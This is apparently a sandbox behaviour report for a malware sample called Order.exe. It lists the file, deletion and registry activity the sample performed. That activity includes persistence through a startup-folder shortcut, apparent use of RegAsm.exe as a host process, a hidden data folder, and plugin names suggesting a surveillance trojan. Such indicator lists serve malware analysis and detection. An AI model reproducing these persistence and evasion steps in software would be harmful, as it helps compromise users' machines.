C:\Windows\Microsoft.NET\Framework\v4.0.30319\clr.dll
C:\Users\Seven01\AppData\Local\Temp\Order.exe.config
C:\Users\Seven01\AppData\Local\Temp\Order.exe
C:\Users\Seven01\AppData\Local\Temp\api-ms-win-appmodel-runtime-l1-1-0.dll
C:\Windows\System32\api-ms-win-appmodel-runtime-l1-1-0.dll
C:\Windows\system\api-ms-win-appmodel-runtime-l1-1-0.dll
C:\Windows\api-ms-win-appmodel-runtime-l1-1-0.dll
C:\ProgramData\Oracle\Java\javapath\api-ms-win-appmodel-runtime-l1-1-0.dll
C:\Windows\System32\wbem\api-ms-win-appmodel-runtime-l1-1-0.dll
C:\Windows\System32\WindowsPowerShell\v1.0\api-ms-win-appmodel-runtime-l1-1-0.dll
C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSVCR120_CLR0400.dll
C:\Windows\System32\MSVCR120_CLR0400.dll
C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscoree.dll
C:\Windows\Microsoft.NET\Framework\v4.0.30319\Config\machine.config
C:\Windows\Microsoft.NET\Framework\v4.0.30319\fusion.localgac
C:\Windows\Globalization\Sorting\sortdefault.nls
C:\Windows\Microsoft.Net\assembly\GAC_32\mscorlib\v4.0_4.0.0.0__b77a5c561934e089\mscorlib.dll
C:\Windows\assembly\NativeImages_v4.0.30319_32\mscorlib\*
C:\Windows\assembly\NativeImages_v4.0.30319_32\mscorlib\96c8ba86b82ee32f586da00a8b721fda\mscorlib.ni.dll
C:\Windows\assembly\NativeImages_v4.0.30319_32\mscorlib\96c8ba86b82ee32f586da00a8b721fda\mscorlib.ni.dll.aux
C:\Users
C:\Users\Seven01
C:\Users\Seven01\AppData
C:\Users\Seven01\AppData\Local
C:\Users\Seven01\AppData\Local\Temp
C:\Windows\Microsoft.NET\Framework\v4.0.30319\ole32.dll
\Device\KsecDD
C:\Windows\assembly\NativeImages_v4.0.30319_32\qBGULkda0ba8517a515#\*
C:\Users\Seven01\AppData\Local\Temp\Order.INI
C:\Windows\Microsoft.NET\Framework\v4.0.30319\clrjit.dll
C:\Windows\assembly\pubpol21.dat
C:\Windows\assembly\GAC\PublisherPolicy.tme
C:\Windows\Microsoft.Net\assembly\GAC_32\System\v4.0_4.0.0.0__b77a5c561934e089\System.dll
C:\Windows\Microsoft.Net\assembly\GAC_MSIL\System\v4.0_4.0.0.0__b77a5c561934e089\System.dll
C:\Windows\assembly\NativeImages_v4.0.30319_32\System\*
C:\Windows\assembly\NativeImages_v4.0.30319_32\System\ea5ca00aa792b96c036a1b3d57b28f9a\System.ni.dll
C:\Windows\assembly\NativeImages_v4.0.30319_32\System\ea5ca00aa792b96c036a1b3d57b28f9a\System.ni.dll.aux
C:\Windows\Microsoft.Net\assembly\GAC_MSIL\System.Configuration\v4.0_4.0.0.0__b03f5f7f11d50a3a\System.Configuration.dll
C:\Windows\Microsoft.Net\assembly\GAC_MSIL\System.Xml\v4.0_4.0.0.0__b77a5c561934e089\System.Xml.dll
C:\Windows\Microsoft.NET\Framework\v4.0.30319\nlssorting.dll
C:\Windows\Microsoft.NET\Framework\v4.0.30319\SortDefault.nlp
C:\Users\Seven01\AppData\Local\Temp\1o5xks03.tmp
C:\Users\Seven01\AppData\Local\Temp\1o5xks03.0.cs
C:\Users\Seven01\AppData\Local\Temp\1o5xks03.dll
C:\Users\Seven01\AppData\Local\Temp\1o5xks03.cmdline
C:\Windows\Microsoft.NET\Framework\v4.0.30319\csc.exe
C:\Users\Seven01\AppData\Local\Temp\1o5xks03.out
C:\Users\Seven01\AppData\Local\Temp\1o5xks03.err
C:\Users\Seven01\AppData\Local\Temp\1o5xks03.pdb
C:\Windows\Microsoft.Net\assembly\GAC_32\System.Drawing\v4.0_4.0.0.0__b03f5f7f11d50a3a\System.Drawing.dll
C:\Windows\Microsoft.Net\assembly\GAC_MSIL\System.Drawing\v4.0_4.0.0.0__b03f5f7f11d50a3a\System.Drawing.dll
C:\Windows\assembly\NativeImages_v4.0.30319_32\System.Drawing\*
C:\Windows\assembly\NativeImages_v4.0.30319_32\System.Drawing\00ea0c71c0a045ebceae2b3d938d251f\System.Drawing.ni.dll
C:\Windows\assembly\NativeImages_v4.0.30319_32\System.Drawing\00ea0c71c0a045ebceae2b3d938d251f\System.Drawing.ni.dll.aux
C:\Users\Seven01\AppData\Local\Temp\Order.exe.Local\
C:\Windows\winsxs\x86_microsoft.windows.gdiplus_6595b64144ccf1df_1.1.7601.17514_none_72d18a4386696c80
C:\Windows\winsxs\x86_microsoft.windows.gdiplus_6595b64144ccf1df_1.1.7601.17514_none_72d18a4386696c80\GdiPlus.dll
C:\Windows\Microsoft.Net\assembly\GAC_32\mscorlib\v4.0_4.0.0.0__b77a5c561934e089\shell32.dll
C:\Users\Seven01\Order.exe
C:\Users\Seven01\Order.exe:Zone.Identifier
C:\Users\Seven01\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\MEnJls.url
C:\Windows\Microsoft.NET\Framework\v2.0.50727\RegAsm.exe
C:\Windows\Microsoft.Net\assembly\GAC_32\Microsoft.VisualBasic\v4.0_10.0.0.0__b03f5f7f11d50a3a\Microsoft.VisualBasic.dll
C:\Windows\Microsoft.Net\assembly\GAC_MSIL\Microsoft.VisualBasic\v4.0_10.0.0.0__b03f5f7f11d50a3a\Microsoft.VisualBasic.dll
C:\Windows\assembly\NativeImages_v4.0.30319_32\Microsoft.V9921e851#\*
C:\Windows\assembly\NativeImages_v4.0.30319_32\Microsoft.V9921e851#\feeacef715fd335a37a58022b3a2fefb\Microsoft.VisualBasic.ni.dll
C:\Windows\assembly\NativeImages_v4.0.30319_32\Microsoft.V9921e851#\feeacef715fd335a37a58022b3a2fefb\Microsoft.VisualBasic.ni.dll.aux
C:\Windows\Microsoft.Net\assembly\GAC_32\System.Core\v4.0_4.0.0.0__b77a5c561934e089\System.Core.dll
C:\Windows\Microsoft.Net\assembly\GAC_MSIL\System.Core\v4.0_4.0.0.0__b77a5c561934e089\System.Core.dll
C:\Windows\assembly\NativeImages_v4.0.30319_32\System.Core\*
C:\Windows\assembly\NativeImages_v4.0.30319_32\System.Core\8811a034e0362a8ec740c44c7136725b\System.Core.ni.dll
C:\Windows\assembly\NativeImages_v4.0.30319_32\System.Core\8811a034e0362a8ec740c44c7136725b\System.Core.ni.dll.aux
C:\Windows\Microsoft.Net\assembly\GAC_MSIL\System.Numerics\v4.0_4.0.0.0__b77a5c561934e089\System.Numerics.dll
C:\Windows\Microsoft.Net\assembly\GAC_MSIL\System.Security\v4.0_4.0.0.0__b03f5f7f11d50a3a\System.Security.dll
C:\Windows\Microsoft.Net\assembly\GAC_MSIL\System.Windows.Forms\v4.0_4.0.0.0__b77a5c561934e089\System.Windows.Forms.dll
C:\Windows\Microsoft.Net\assembly\GAC_MSIL\System.Deployment\v4.0_4.0.0.0__b03f5f7f11d50a3a\System.Deployment.dll
C:\Windows\Microsoft.Net\assembly\GAC_MSIL\System.Management\v4.0_4.0.0.0__b03f5f7f11d50a3a\System.Management.dll
C:\Windows\Microsoft.Net\assembly\GAC_MSIL\System.Xml.Linq\v4.0_4.0.0.0__b77a5c561934e089\System.Xml.Linq.dll
C:\Windows\Microsoft.Net\assembly\GAC_MSIL\System.Runtime.Remoting\v4.0_4.0.0.0__b77a5c561934e089\System.Runtime.Remoting.dll
C:\Windows\Microsoft.Net\assembly\GAC_MSIL\System\v4.0_4.0.0.0__b77a5c561934e089\ntdll.dll
C:\Windows\Microsoft.NET\Framework\v4.0.30319\1040\cscui.dll
C:\Windows\Microsoft.NET\Framework\v4.0.30319\1040\cscui.dll.DLL
C:\Windows\Microsoft.NET\Framework\v4.0.30319\0\cscui.dll
C:\Windows\Microsoft.NET\Framework\v4.0.30319\0\cscui.dll.DLL
C:\Windows\Microsoft.NET\Framework\v4.0.30319\1033\cscui.dll
C:\Windows\Microsoft.NET\Framework\v4.0.30319\default.win32manifest
C:\Windows\Microsoft.NET\Framework\v4.0.30319\alink.dll
C:\Windows\System32\mscoree.dll.local
C:\Windows\Microsoft.NET\Framework\v4.0.30319\csc.exe.config
C:\Windows\Microsoft.NET\Framework\v4.0.30319\api-ms-win-appmodel-runtime-l1-1-0.dll
C:\Users\Seven01\AppData\Local\Temp\System.Management.dll
C:\Windows
C:\Windows\Microsoft.NET
C:\Windows\Microsoft.NET\Framework
C:\Windows\Microsoft.NET\Framework\v4.0.30319
C:\Windows\Microsoft.NET\Framework\v4.0.30319\System.Management.dll
C:\Users\Seven01\AppData\Local\Temp\System.dll
C:\Windows\Microsoft.NET\Framework\v4.0.30319\System.dll
C:\Users\Seven01\AppData\Local\Temp\System.Drawing.dll
C:\Windows\Microsoft.NET\Framework\v4.0.30319\System.Drawing.dll
C:\Users\Seven01\AppData\Local\Temp\System.Core.dll
C:\Windows\Microsoft.NET\Framework\v4.0.30319\System.Core.dll
C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorlib.dll
C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorpehost.dll
C:\Windows\Microsoft.NET\Framework\v4.0.30319\diasymreader.dll
C:\Users\Seven01\AppData\Local\Temp\CSCE2E794A1DB1D42A6A6BCE8E35BE31410.TMP
C:\Users\Seven01\AppData\Local\Temp\RESA920.tmp
C:\Windows\System32\tzres.dll
C:\Windows\Microsoft.NET\Framework\v2.0.50727\RegAsm.exe.config
C:\Windows\Microsoft.NET\Framework\v2.0.50727\api-ms-win-appmodel-runtime-l1-1-0.dll
C:\Windows\Microsoft.NET\Framework\v2.0.50727\RegAsm.exe.Local\
C:\Windows\winsxs\x86_microsoft.vc80.crt_1fc8b3b9a1e18e3b_8.0.50727.6229_none_d089f796442de10e
C:\Windows\winsxs\x86_microsoft.vc80.crt_1fc8b3b9a1e18e3b_8.0.50727.6229_none_d089f796442de10e\msvcr80.dll
C:\Windows\winsxs
C:\Windows\Microsoft.NET\Framework\v2.0.50727\CONFIG\machine.config
C:\Windows\Microsoft.NET\Framework\v2.0.50727\fusion.localgac
C:\Windows\Microsoft.NET\Framework\v2.0.50727\CONFIG\security.config
C:\Windows\Microsoft.NET\Framework\v2.0.50727\CONFIG\security.config.cch
C:\Windows\Microsoft.NET\Framework\v2.0.50727\CONFIG\enterprisesec.config
C:\Windows\Microsoft.NET\Framework\v2.0.50727\CONFIG\enterprisesec.config.cch
C:\Users\Seven01\AppData\Roaming\Microsoft\CLR Security Config\v2.0.50727.312\security.config
C:\Users\Seven01\AppData\Roaming\Microsoft\CLR Security Config\v2.0.50727.312\security.config.cch
C:\Windows\assembly\NativeImages_v2.0.50727_32\index126.dat
C:\Windows\assembly\NativeImages_v2.0.50727_32\mscorlib\62a0b3e4b40ec0e8c5cfaa0c8848e64a\mscorlib.ni.dll
C:\Windows\assembly\GAC_32\mscorlib\2.0.0.0__b77a5c561934e089\mscorlib.INI
C:\Windows\Microsoft.NET\Framework\v2.0.50727
C:\Windows\Microsoft.NET\Framework\v2.0.50727\ole32.dll
C:\Windows\Microsoft.NET\Framework\v2.0.50727\RegAsm.exe.Config
C:\Windows\Microsoft.NET\Framework\v2.0.50727\RegAsm.INI
C:\Windows\System32\l_intl.nls
C:\Windows\assembly\NativeImages_v2.0.50727_32\System\9e0a3b9b9f457233a335d7fba8f95419\System.ni.dll
C:\Windows\assembly\NativeImages_v2.0.50727_32\System.Drawing\dbfe8642a8ed7b2b103ad28e0c96418a\System.Drawing.ni.dll
C:\Windows\assembly\NativeImages_v2.0.50727_32\System.Windows.Forms\3afcd5168c7a6cb02eab99d7fd71e102\System.Windows.Forms.ni.dll
C:\Windows\assembly\GAC_MSIL\System.Windows.Forms\2.0.0.0__b77a5c561934e089\System.Windows.Forms.INI
C:\Windows\assembly\GAC_MSIL\System\2.0.0.0__b77a5c561934e089\System.INI
C:\Windows\assembly\GAC_MSIL\System.Drawing\2.0.0.0__b03f5f7f11d50a3a\System.Drawing.INI
C:\Windows\Microsoft.NET\Framework\v2.0.50727\mscorjit.dll
C:\Windows\assembly\NativeImages_v2.0.50727_32\Microsoft.VisualBas#\08d608378aa405adc844f3cf36974b8c\Microsoft.VisualBasic.ni.dll
C:\Windows\assembly\GAC_MSIL\Microsoft.VisualBasic\8.0.0.0__b03f5f7f11d50a3a\Microsoft.VisualBasic.INI
C:\Windows\Globalization\it-it.nlp
C:\Windows\assembly\GAC_MSIL\System.Windows.Forms\2.0.0.0__b77a5c561934e089\uxtheme.dll
C:\Windows\assembly\GAC_MSIL\System.Windows.Forms\2.0.0.0__b77a5c561934e089\System.Windows.Forms.dll
C:\Windows\assembly\GAC_32\mscorlib\2.0.0.0__b77a5c561934e089\bcrypt.dll
C:\Users\Seven01\AppData\Roaming\88A12796-24F0-4E67-B5B8-6D00E4011D2A
C:\Users\Seven01\AppData\Roaming
C:\Users\Seven01\AppData\Roaming\88A12796-24F0-4E67-B5B8-6D00E4011D2A\run.dat
C:\Users\Seven01\AppData\Roaming\88A12796-24F0-4E67-B5B8-6D00E4011D2A\Exceptions\1.2.2.0
C:\Windows\Microsoft.NET\Framework\v2.0.50727\RegAsm.exe:Zone.Identifier
C:\Users\Seven01\AppData\Roaming\88A12796-24F0-4E67-B5B8-6D00E4011D2A\catalog.dat
C:\Users\Seven01\AppData\Roaming\88A12796-24F0-4E67-B5B8-6D00E4011D2A\storage.dat
C:\Windows\Microsoft.NET\Framework\v2.0.50727\ClientPlugin.dll
C:\Windows\Microsoft.NET\Framework\v2.0.50727\ClientPlugin\ClientPlugin.dll
C:\Windows\Microsoft.NET\Framework\v2.0.50727\ClientPlugin.exe
C:\Windows\Microsoft.NET\Framework\v2.0.50727\ClientPlugin\ClientPlugin.exe
C:\Windows\Microsoft.NET\Framework\v2.0.50727\Culture.dll
C:\Windows\Microsoft.NET\Framework\v2.0.50727\it-IT\mscorrc.dll
C:\Windows\Microsoft.NET\Framework\v2.0.50727\it-IT\mscorrc.dll.DLL
C:\Windows\Microsoft.NET\Framework\v2.0.50727\it\mscorrc.dll
C:\Windows\assembly\GAC_32\mscorlib\2.0.0.0__b77a5c561934e089\sorttbls.nlp
C:\Windows\assembly\GAC_32\mscorlib\2.0.0.0__b77a5c561934e089\sortkey.nlp
C:\Users\Seven01\AppData\Roaming\88A12796-24F0-4E67-B5B8-6D00E4011D2A\settings.bin
C:\Windows\Microsoft.NET\Framework\v2.0.50727\diasymreader.dll
C:\Windows\Microsoft.NET\Framework\v2.0.50727\RegAsm.PDB
C:\Windows\Microsoft.NET\Framework\v2.0.50727\RegAsm.pdb
C:\Windows\symbols\exe\RegAsm.pdb
C:\Windows\exe\RegAsm.pdb
C:\Windows\RegAsm.pdb
C:\Windows\Globalization\en-us.nlp
C:\Windows\assembly\GAC_32\mscorlib.resources\2.0.0.0_it-IT_b77a5c561934e089
C:\Windows\assembly\GAC_MSIL\mscorlib.resources\2.0.0.0_it-IT_b77a5c561934e089
C:\Windows\assembly\GAC\mscorlib.resources\2.0.0.0_it-IT_b77a5c561934e089
C:\Windows\Microsoft.NET\Framework\v2.0.50727\it-IT\mscorlib.resources.dll
C:\Windows\Microsoft.NET\Framework\v2.0.50727\it-IT\mscorlib.resources\mscorlib.resources.dll
C:\Windows\Microsoft.NET\Framework\v2.0.50727\it-IT\mscorlib.resources.exe
C:\Windows\Microsoft.NET\Framework\v2.0.50727\it-IT\mscorlib.resources\mscorlib.resources.exe
C:\Windows\Globalization\it.nlp
C:\Windows\assembly\GAC_32\mscorlib.resources\2.0.0.0_it_b77a5c561934e089
C:\Windows\assembly\GAC_MSIL\mscorlib.resources\2.0.0.0_it_b77a5c561934e089
C:\Windows\assembly\GAC_MSIL\mscorlib.resources\2.0.0.0_it_b77a5c561934e089\mscorlib.resources.dll
C:\Windows\assembly\GAC_MSIL\mscorlib.resources\2.0.0.0_it_b77a5c561934e089\mscorlib.resources.INI
C:\Users\Seven01\AppData\Roaming\88A12796-24F0-4E67-B5B8-6D00E4011D2A\settings.bak
C:\Windows\assembly\GAC_MSIL\System\2.0.0.0__b77a5c561934e089\psapi.dll
C:\Windows\assembly\GAC_MSIL\System\2.0.0.0__b77a5c561934e089\ntdll.dll
C:\Users\Seven01\AppData\Roaming\88A12796-24F0-4E67-B5B8-6D00E4011D2A\Logs\Seven01
C:\Users\Seven01\AppData\Roaming\88A12796-24F0-4E67-B5B8-6D00E4011D2A\Logs
C:\Windows\Microsoft.NET\Framework\v2.0.50727\Lzma#.dll
C:\Windows\Microsoft.NET\Framework\v2.0.50727\Lzma#\Lzma#.dll
C:\Windows\Microsoft.NET\Framework\v2.0.50727\Lzma#.exe
C:\Windows\Microsoft.NET\Framework\v2.0.50727\Lzma#\Lzma#.exe
C:\Windows\Microsoft.NET\Framework\v2.0.50727\it-IT\SurveillanceExClientPlugin.resources.dll
C:\Windows\Microsoft.NET\Framework\v2.0.50727\it-IT\SurveillanceExClientPlugin.resources\SurveillanceExClientPlugin.resources.dll
C:\Windows\Microsoft.NET\Framework\v2.0.50727\it-IT\SurveillanceExClientPlugin.resources.exe
C:\Windows\Microsoft.NET\Framework\v2.0.50727\it-IT\SurveillanceExClientPlugin.resources\SurveillanceExClientPlugin.resources.exe
C:\Windows\Microsoft.NET\Framework\v2.0.50727\it\SurveillanceExClientPlugin.resources.dll
C:\Windows\Microsoft.NET\Framework\v2.0.50727\it\SurveillanceExClientPlugin.resources\SurveillanceExClientPlugin.resources.dll
C:\Windows\Microsoft.NET\Framework\v2.0.50727\it\SurveillanceExClientPlugin.resources.exe
C:\Windows\Microsoft.NET\Framework\v2.0.50727\it\SurveillanceExClientPlugin.resources\SurveillanceExClientPlugin.resources.exe
C:\Windows\assembly\GAC_MSIL\System\2.0.0.0__b77a5c561934e089\ws2_32.dll
C:\Windows\assembly\NativeImages_v2.0.50727_32\System.Configuration\bc09ad2d49d8535371845cd7532f9271\System.Configuration.ni.dll
C:\Windows\assembly\GAC_MSIL\System.Configuration\2.0.0.0__b03f5f7f11d50a3a\System.Configuration.INI
C:\Windows\assembly\NativeImages_v2.0.50727_32\System.Xml\461d3b6b3f43e6fbe6c897d5936e17e4\System.Xml.ni.dll
C:\Windows\assembly\GAC_MSIL\System.Xml\2.0.0.0__b77a5c561934e089\System.Xml.INI
C:\Windows\Globalization\en.nlp
C:\Windows\Microsoft.NET\Framework\v2.0.50727\dnsapi.dll
C:\Windows\SysWOW64\it-IT\KERNELBASE.dll.mui

Read Files

C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscoreei.dll
C:\Users\Seven01\AppData\Local\Temp\Order.exe.config
C:\Users\Seven01\AppData\Local\Temp\Order.exe
C:\Windows\Microsoft.NET\Framework\v4.0.30319\clr.dll
C:\Windows\System32\MSVCR120_CLR0400.dll
C:\Windows\Microsoft.NET\Framework\v4.0.30319\Config\machine.config
C:\Windows\Globalization\Sorting\sortdefault.nls
C:\Windows\assembly\NativeImages_v4.0.30319_32\mscorlib\96c8ba86b82ee32f586da00a8b721fda\mscorlib.ni.dll.aux
C:\Windows\assembly\NativeImages_v4.0.30319_32\mscorlib\96c8ba86b82ee32f586da00a8b721fda\mscorlib.ni.dll
\Device\KsecDD
C:\Windows\Microsoft.NET\Framework\v4.0.30319\clrjit.dll
C:\Windows\assembly\pubpol21.dat
C:\Windows\assembly\NativeImages_v4.0.30319_32\System\ea5ca00aa792b96c036a1b3d57b28f9a\System.ni.dll.aux
C:\Windows\assembly\NativeImages_v4.0.30319_32\System\ea5ca00aa792b96c036a1b3d57b28f9a\System.ni.dll
C:\Windows\Microsoft.NET\Framework\v4.0.30319\nlssorting.dll
C:\Windows\Microsoft.NET\Framework\v4.0.30319\SortDefault.nlp
C:\Users\Seven01\AppData\Local\Temp\1o5xks03.dll
C:\Users\Seven01\AppData\Local\Temp\1o5xks03.pdb
C:\Windows\assembly\NativeImages_v4.0.30319_32\System.Drawing\00ea0c71c0a045ebceae2b3d938d251f\System.Drawing.ni.dll.aux
C:\Windows\assembly\NativeImages_v4.0.30319_32\System.Drawing\00ea0c71c0a045ebceae2b3d938d251f\System.Drawing.ni.dll
C:\Windows\winsxs\x86_microsoft.windows.gdiplus_6595b64144ccf1df_1.1.7601.17514_none_72d18a4386696c80\GdiPlus.dll
C:\Windows\assembly\NativeImages_v4.0.30319_32\Microsoft.V9921e851#\feeacef715fd335a37a58022b3a2fefb\Microsoft.VisualBasic.ni.dll.aux
C:\Windows\assembly\NativeImages_v4.0.30319_32\System.Core\8811a034e0362a8ec740c44c7136725b\System.Core.ni.dll.aux
C:\Windows\assembly\NativeImages_v4.0.30319_32\System.Core\8811a034e0362a8ec740c44c7136725b\System.Core.ni.dll
C:\Windows\assembly\NativeImages_v4.0.30319_32\Microsoft.V9921e851#\feeacef715fd335a37a58022b3a2fefb\Microsoft.VisualBasic.ni.dll
C:\Windows\Microsoft.NET\Framework\v4.0.30319\1033\cscui.dll
C:\Users\Seven01\AppData\Local\Temp\1o5xks03.cmdline
C:\Windows\Microsoft.NET\Framework\v4.0.30319\alink.dll
C:\Windows\Microsoft.NET\Framework\v4.0.30319\csc.exe.config
C:\Users\Seven01\AppData\Local\Temp\1o5xks03.0.cs
C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorlib.dll
C:\Windows\Microsoft.NET\Framework\v4.0.30319\System.Management.dll
C:\Windows\Microsoft.NET\Framework\v4.0.30319\System.dll
C:\Windows\Microsoft.NET\Framework\v4.0.30319\System.Drawing.dll
C:\Windows\Microsoft.NET\Framework\v4.0.30319\System.Core.dll
C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorpehost.dll
C:\Windows\Microsoft.NET\Framework\v4.0.30319\diasymreader.dll
C:\Windows\Microsoft.NET\Framework\v4.0.30319\default.win32manifest
C:\Users\Seven01\AppData\Local\Temp\CSCE2E794A1DB1D42A6A6BCE8E35BE31410.TMP
C:\Users\Seven01\AppData\Local\Temp\RESA920.tmp
C:\Windows\System32\tzres.dll
C:\Windows\Microsoft.NET\Framework\v2.0.50727\RegAsm.exe.config
C:\Windows\Microsoft.NET\Framework\v2.0.50727\mscorwks.dll
C:\Windows\winsxs\x86_microsoft.vc80.crt_1fc8b3b9a1e18e3b_8.0.50727.6229_none_d089f796442de10e\msvcr80.dll
C:\Windows\Microsoft.NET\Framework\v2.0.50727\CONFIG\machine.config
C:\Windows\Microsoft.NET\Framework\v2.0.50727\CONFIG\security.config
C:\Windows\Microsoft.NET\Framework\v2.0.50727\CONFIG\security.config.cch
C:\Windows\Microsoft.NET\Framework\v2.0.50727\CONFIG\enterprisesec.config
C:\Windows\Microsoft.NET\Framework\v2.0.50727\CONFIG\enterprisesec.config.cch
C:\Users\Seven01\AppData\Roaming\Microsoft\CLR Security Config\v2.0.50727.312\security.config
C:\Users\Seven01\AppData\Roaming\Microsoft\CLR Security Config\v2.0.50727.312\security.config.cch
C:\Windows\assembly\NativeImages_v2.0.50727_32\index126.dat
C:\Windows\assembly\NativeImages_v2.0.50727_32\mscorlib\62a0b3e4b40ec0e8c5cfaa0c8848e64a\mscorlib.ni.dll
C:\Windows\System32\l_intl.nls
C:\Windows\Microsoft.NET\Framework\v2.0.50727\RegAsm.exe
C:\Windows\Microsoft.NET\Framework\v2.0.50727\RegAsm.exe.Config
C:\Windows\assembly\NativeImages_v2.0.50727_32\System\9e0a3b9b9f457233a335d7fba8f95419\System.ni.dll
C:\Windows\assembly\NativeImages_v2.0.50727_32\System.Drawing\dbfe8642a8ed7b2b103ad28e0c96418a\System.Drawing.ni.dll
C:\Windows\assembly\NativeImages_v2.0.50727_32\System.Windows.Forms\3afcd5168c7a6cb02eab99d7fd71e102\System.Windows.Forms.ni.dll
C:\Windows\Microsoft.NET\Framework\v2.0.50727\mscorjit.dll
C:\Windows\assembly\NativeImages_v2.0.50727_32\Microsoft.VisualBas#\08d608378aa405adc844f3cf36974b8c\Microsoft.VisualBasic.ni.dll
C:\Windows\assembly\GAC_MSIL\System.Windows.Forms\2.0.0.0__b77a5c561934e089\System.Windows.Forms.dll
C:\Windows\Microsoft.NET\Framework\v2.0.50727\Culture.dll
C:\Windows\Microsoft.NET\Framework\v2.0.50727\it\mscorrc.dll
C:\Windows\assembly\GAC_32\mscorlib\2.0.0.0__b77a5c561934e089\sorttbls.nlp
C:\Windows\assembly\GAC_32\mscorlib\2.0.0.0__b77a5c561934e089\sortkey.nlp
C:\Windows\Microsoft.NET\Framework\v2.0.50727\diasymreader.dll
C:\Windows\Microsoft.NET\Framework\v2.0.50727\RegAsm.pdb
C:\Windows\symbols\exe\RegAsm.pdb
C:\Windows\exe\RegAsm.pdb
C:\Windows\RegAsm.pdb
C:\Windows\assembly\GAC_MSIL\mscorlib.resources\2.0.0.0_it_b77a5c561934e089\mscorlib.resources.dll
C:\Windows\assembly\NativeImages_v2.0.50727_32\System.Configuration\bc09ad2d49d8535371845cd7532f9271\System.Configuration.ni.dll
C:\Windows\assembly\NativeImages_v2.0.50727_32\System.Xml\461d3b6b3f43e6fbe6c897d5936e17e4\System.Xml.ni.dll
C:\Windows\SysWOW64\it-IT\KERNELBASE.dll.mui

Write Files

C:\Users\Seven01\AppData\Local\Temp\1o5xks03.tmp
C:\Users\Seven01\AppData\Local\Temp\1o5xks03.0.cs
C:\Users\Seven01\AppData\Local\Temp\1o5xks03.dll
C:\Users\Seven01\AppData\Local\Temp\1o5xks03.cmdline
C:\Users\Seven01\AppData\Local\Temp\1o5xks03.out
C:\Users\Seven01\AppData\Local\Temp\1o5xks03.err
C:\Users\Seven01\Order.exe
C:\Users\Seven01\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\MEnJls.url
C:\Users\Seven01\AppData\Local\Temp\1o5xks03.pdb
C:\Users\Seven01\AppData\Local\Temp\CSCE2E794A1DB1D42A6A6BCE8E35BE31410.TMP
C:\Users\Seven01\AppData\Local\Temp\RESA920.tmp
C:\Users\Seven01\AppData\Roaming\88A12796-24F0-4E67-B5B8-6D00E4011D2A\run.dat

Delete Files

C:\Users\Seven01\AppData\Local\Temp\1o5xks03.tmp
C:\Users\Seven01\AppData\Local\Temp\1o5xks03.err
C:\Users\Seven01\AppData\Local\Temp\1o5xks03.out
C:\Users\Seven01\AppData\Local\Temp\1o5xks03.0.cs
C:\Users\Seven01\AppData\Local\Temp\1o5xks03.dll
C:\Users\Seven01\AppData\Local\Temp\1o5xks03.pdb
C:\Users\Seven01\AppData\Local\Temp\1o5xks03.cmdline
C:\Users\Seven01\Order.exe:Zone.Identifier
C:\Users\Seven01\AppData\Local\Temp\RESA920.tmp
C:\Users\Seven01\AppData\Local\Temp\CSCE2E794A1DB1D42A6A6BCE8E35BE31410.TMP
C:\Windows\Microsoft.NET\Framework\v2.0.50727\RegAsm.exe:Zone.Identifier

Keys

HKEY_LOCAL_MACHINE\Software\Microsoft\.NETFramework\Policy\
HKEY_LOCAL_MACHINE\SOFTWARE\Wow6432Node\Microsoft\.NETFramework\Policy\v4.0
HKEY_LOCAL_MACHINE\Software\Microsoft\.NETFramework
HKEY_LOCAL_MACHINE\SOFTWARE\Wow6432Node\Microsoft\.NETFramework\InstallRoot
HKEY_LOCAL_MACHINE\SOFTWARE\Wow6432Node\Microsoft\.NETFramework\CLRLoadLogDir
HKEY_CURRENT_USER\Software\Microsoft\.NETFramework
HKEY_LOCAL_MACHINE\SOFTWARE\Wow6432Node\Microsoft\.NETFramework\UseLegacyV2RuntimeActivationPolicyDefaultValue
HKEY_LOCAL_MACHINE\SOFTWARE\Wow6432Node\Microsoft\.NETFramework\OnlyUseLatestCLR
Policy\Standards
HKEY_LOCAL_MACHINE\SOFTWARE\Wow6432Node\Microsoft\.NETFramework\Policy\Standards
HKEY_LOCAL_MACHINE\SOFTWARE\Wow6432Node\Microsoft\.NETFramework\Policy\Standards\v4.0.30319
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Fusion
HKEY_LOCAL_MACHINE\SOFTWARE\Wow6432Node\Microsoft\Fusion\NoClientChecks
HKEY_LOCAL_MACHINE\Software\Microsoft\.NETFramework\v4.0.30319\SKUs\
HKEY_LOCAL_MACHINE\SOFTWARE\Wow6432Node\Microsoft\.NETFramework\v4.0.30319\SKUs\default
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\NET Framework Setup\NDP\v4\Full
HKEY_LOCAL_MACHINE\SOFTWARE\Wow6432Node\Microsoft\NET Framework Setup\NDP\v4\Full\Release
HKEY_LOCAL_MACHINE\SOFTWARE\Wow6432Node\Microsoft\.NETFramework\DisableConfigCache
HKEY_LOCAL_MACHINE\Software\Microsoft\Fusion
HKEY_LOCAL_MACHINE\Software\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\Order.exe
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Fusion\CacheLocation
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Fusion\DownloadCacheQuotaInKB
HKEY_CURRENT_USER\Software\Microsoft\Fusion
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Fusion\EnableLog
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Fusion\LoggingLevel
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Fusion\ForceLog
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Fusion\LogFailures
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Fusion\LogResourceBinds
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Fusion\FileInUseRetryAttempts
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Fusion\FileInUseMillisecondsBetweenRetries
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Fusion\UseLegacyIdentityFormat
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Fusion\DisableMSIPeek
